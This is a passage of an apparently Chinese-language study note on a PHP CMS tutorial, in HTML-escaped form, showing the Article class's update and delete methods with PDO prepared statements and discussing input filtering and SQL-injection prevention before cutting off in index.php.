&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;is_null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;trigger_error&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Article::update(): Attempt to update an Article object that does not have its ID property set.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;E_USER_ERROR&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
   
    &lt;span class=&quot;c1&quot;&gt;// Update the Article
&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;PDO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DB_DSN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DB_USERNAME&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DB_PASSWORD&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$sql&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;UPDATE articles SET publicationDate=FROM_UNIXTIME(:publicationDate), title=:title, summary=:summary, content=:content WHERE id = :id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;prepare&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$sql&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;bindValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;:publicationDate&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;publicationDate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;PDO&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;PARAM_INT&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;bindValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;:title&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;title&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;PDO&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;PARAM_STR&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;bindValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;:summary&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;summary&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;PDO&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;PARAM_STR&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;bindValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;:content&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;content&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;PDO&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;PARAM_STR&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;bindValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;:id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;PDO&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;PARAM_INT&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;


  &lt;span class=&quot;sd&quot;&gt;/**
  * Deletes the current Article object from the database.
  */&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;delete&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// Does the Article object have an ID?
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;is_null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;trigger_error&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Article::delete(): Attempt to delete an Article object that does not have its ID property set.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;E_USER_ERROR&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// Delete the Article
&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;PDO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DB_DSN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DB_USERNAME&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DB_PASSWORD&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;prepare&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;DELETE FROM articles WHERE id = :id LIMIT 1&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;bindValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;:id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;PDO&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;PARAM_INT&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;strong&gt;关于对输入数据的检查&lt;/strong&gt;

在构造函数中，对 title 和 summary 变量进行了过滤，避免一些恶意的数据进入数据库，采取的是正则的方式来过滤变量输入。关于正则的内容，还要仔细的学习下。

&lt;blockquote&gt;
  &lt;ol&gt;
    &lt;li&gt;You’ll notice that the method filters the data before it stores them in the properties. The &lt;code class=&quot;highlighter-rouge&quot;&gt;id&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;publicationDate&lt;/code&gt;properties are cast to integers using &lt;code class=&quot;highlighter-rouge&quot;&gt;(int)&lt;/code&gt;, since these values should always be integers. The &lt;code class=&quot;highlighter-rouge&quot;&gt;title&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;summary&lt;/code&gt;are filtered using a regular expression to only allow a certain range of characters. It’s good security practice to filter data on input like this, only allowing acceptable values and characters through.&lt;/li&gt;
    &lt;li&gt;We don’t filter the &lt;code class=&quot;highlighter-rouge&quot;&gt;content&lt;/code&gt; property, however. Why? Well, the administrator will probably want to use a wide range of characters, as well as HTML markup, in the article content. If we restricted the range of allowed characters in the content then we would limit the usefulness of the CMS for the administrator.&lt;/li&gt;
    &lt;li&gt;Normally this could be a security loophole, since a user could insert malicious JavaScript and other nasty stuff in the content. However, since we presumably trust our site administrator — who is the only person allowed to create the content — this is an acceptable tradeoff in this case. If you were dealing with user-generated content, such as comments or forum posts, then you would want to be more careful, and only allow “safe” HTML to be used. A really great tool for this is &lt;a href=&quot;http://htmlpurifier.org/&quot;&gt;HTML Purifier&lt;/a&gt;, which thoroughly analyses HTML input and removes all potentially malicious code.&lt;/li&gt;
    &lt;li&gt;PHP security is a big topic, and beyond the scope of this tutorial. If you’d like to find out more then start with Terry Chay’s excellent post, &lt;a href=&quot;http://terrychay.com/article/php-advent-security-filter-input-escape-output.shtml&quot;&gt;Filter Input-Escape Output: Security Principle and Practice&lt;/a&gt;. Also see the Wikipedia entries on &lt;a href=&quot;http://en.wikipedia.org/wiki/Secure_input_and_output_handling&quot;&gt;secure input/output handling&lt;/a&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/Cross-site_scripting&quot;&gt;XSS&lt;/a&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/Cross-site_request_forgery&quot;&gt;CSRF&lt;/a&gt;, &lt;a href=&quot;http://en.wikipedia.org/wiki/SQL_injection&quot;&gt;SQL injection&lt;/a&gt;, and &lt;a href=&quot;http://en.wikipedia.org/wiki/Session_fixation&quot;&gt;session fixation&lt;/a&gt;.&lt;/li&gt;
  &lt;/ol&gt;
&lt;/blockquote&gt;

&lt;strong&gt;关于数据库连接&lt;/strong&gt;

这里使用 PDO 连接数据库。

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;PDO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DB_DSN&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DB_USERNAME&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DB_PASSWORD&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$sql&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;SELECT *, UNIX_TIMESTAMP(publicationDate) AS publicationDate FROM articles WHERE id = :id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$conn&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;prepare&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$sql&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;bindValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;:id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;PDO&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;PARAM_INT&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;execute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$row&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$st&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;blockquote&gt;
  &lt;a href=&quot;http://php.net/manual/en/book.pdo.php&quot;&gt;PDO&lt;/a&gt; — PHP Data Objects — is an object-oriented library built into PHP that makes it easy for PHP scripts to talk to databases.
&lt;/blockquote&gt;

使用 PDO 可以很好的解决 SQL 注入的问题，在 sql 语句中，会先用占位符来代替条件语句中的参数值，后续用 &lt;code class=&quot;highlighter-rouge&quot;&gt;bindValue()&lt;/code&gt; 来赋值和检测，最后再对数据库执行 sql 操作。

&lt;blockquote&gt;
  Our &lt;code class=&quot;highlighter-rouge&quot;&gt;SELECT&lt;/code&gt; statement retrieves all fields (&lt;code class=&quot;highlighter-rouge&quot;&gt;*&lt;/code&gt;) from the record in the &lt;code class=&quot;highlighter-rouge&quot;&gt;articles&lt;/code&gt; table that matches the given &lt;code class=&quot;highlighter-rouge&quot;&gt;id&lt;/code&gt;field. It also retrieves the &lt;code class=&quot;highlighter-rouge&quot;&gt;publicationDate&lt;/code&gt; field in UNIX timestamp format instead of the default MySQL date format, so we can store it easily in our object.

  Rather than placing our &lt;code class=&quot;highlighter-rouge&quot;&gt;$id&lt;/code&gt; parameter directly inside the &lt;code class=&quot;highlighter-rouge&quot;&gt;SELECT&lt;/code&gt; string, which can be a security risk, we instead use &lt;code class=&quot;highlighter-rouge&quot;&gt;:id&lt;/code&gt;. This is known as a placeholder. In a minute, we’ll call a PDO method to bind our &lt;code class=&quot;highlighter-rouge&quot;&gt;$id&lt;/code&gt; value to this placeholder.

  Once we’ve stored our &lt;code class=&quot;highlighter-rouge&quot;&gt;SELECT&lt;/code&gt; statement in a string, we prepare the statement by calling &lt;code class=&quot;highlighter-rouge&quot;&gt;$conn-&amp;gt;prepare()&lt;/code&gt;, storing the resulting statement handle in a &lt;code class=&quot;highlighter-rouge&quot;&gt;$st&lt;/code&gt; variable.

  We now bind the value of our &lt;code class=&quot;highlighter-rouge&quot;&gt;$id&lt;/code&gt; variable — that is, the ID of the article we want to retrieve — to our &lt;code class=&quot;highlighter-rouge&quot;&gt;:id&lt;/code&gt;placeholder by calling the &lt;code class=&quot;highlighter-rouge&quot;&gt;bindValue()&lt;/code&gt; method. We pass in the placeholder name; the value to bind to it; and the value’s data type (integer in this case) so that PDO knows how to correctly escape the value.

  Lastly, we call &lt;code class=&quot;highlighter-rouge&quot;&gt;execute()&lt;/code&gt; to run the query, then we use &lt;code class=&quot;highlighter-rouge&quot;&gt;fetch()&lt;/code&gt; to retrieve the resulting record as an associative array of field names and corresponding field values, which we store in the &lt;code class=&quot;highlighter-rouge&quot;&gt;$row&lt;/code&gt; variable.
&lt;/blockquote&gt;

&lt;strong&gt;关于类的成员，即属性和方法：&lt;/strong&gt;

&lt;blockquote&gt;
  All of the members (that is, the properties and methods) of our &lt;code class=&quot;highlighter-rouge&quot;&gt;Article&lt;/code&gt; class have the &lt;code class=&quot;highlighter-rouge&quot;&gt;public&lt;/code&gt; keyword before their names, which means that they’re available to code outside the class. You can also create &lt;code class=&quot;highlighter-rouge&quot;&gt;private&lt;/code&gt; members (which can only be used by the class itself) and &lt;code class=&quot;highlighter-rouge&quot;&gt;protected&lt;/code&gt;members (which can be used by the class and any of its subclasses).
&lt;/blockquote&gt;

另外，Article 类有两个成员函数加了 &lt;code class=&quot;highlighter-rouge&quot;&gt;static&lt;/code&gt; 来修饰。有了 &lt;code class=&quot;highlighter-rouge&quot;&gt;static&lt;/code&gt; 后，这两个函数可以直接通过类来调用，而不用先创建类实例。

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;getById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;getList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$numRows&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1000000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$order&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;publicationDate DESC&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// 在 index.php  里，有直接通过类调用的代码。
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Article&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$results&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'article'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Article&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;articleId&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;step-5-write-the-front-end-indexphp-script&quot;&gt;Step 5: Write the front-end &lt;code class=&quot;highlighter-rouge&quot;&gt;index.php&lt;/code&gt; script&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;Include the config file&lt;/li&gt;
  &lt;li&gt;Grab the action parameter&lt;/li&gt;
  &lt;li&gt;Decide which action to perform&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;archive()&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;viewArticle()&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;homepage()&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;cm&quot;&gt;/*
We use require() rather than include(); require() generates an error if the file can't be found.
*/&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;config.php&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;  

&lt;span class=&quot;cm&quot;&gt;/*
It's good programming practice to check that user-supplied values, such as query string parameters, form post values and cookies, actually exist before attempting to use them. Not only does it limit security holes, but it prevents the PHP engine raising &quot;undefined index&quot; notices as your script runs.
*/&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$action&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'action'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'action'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;switch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$action&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'archive'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;archive&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'viewArticle'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
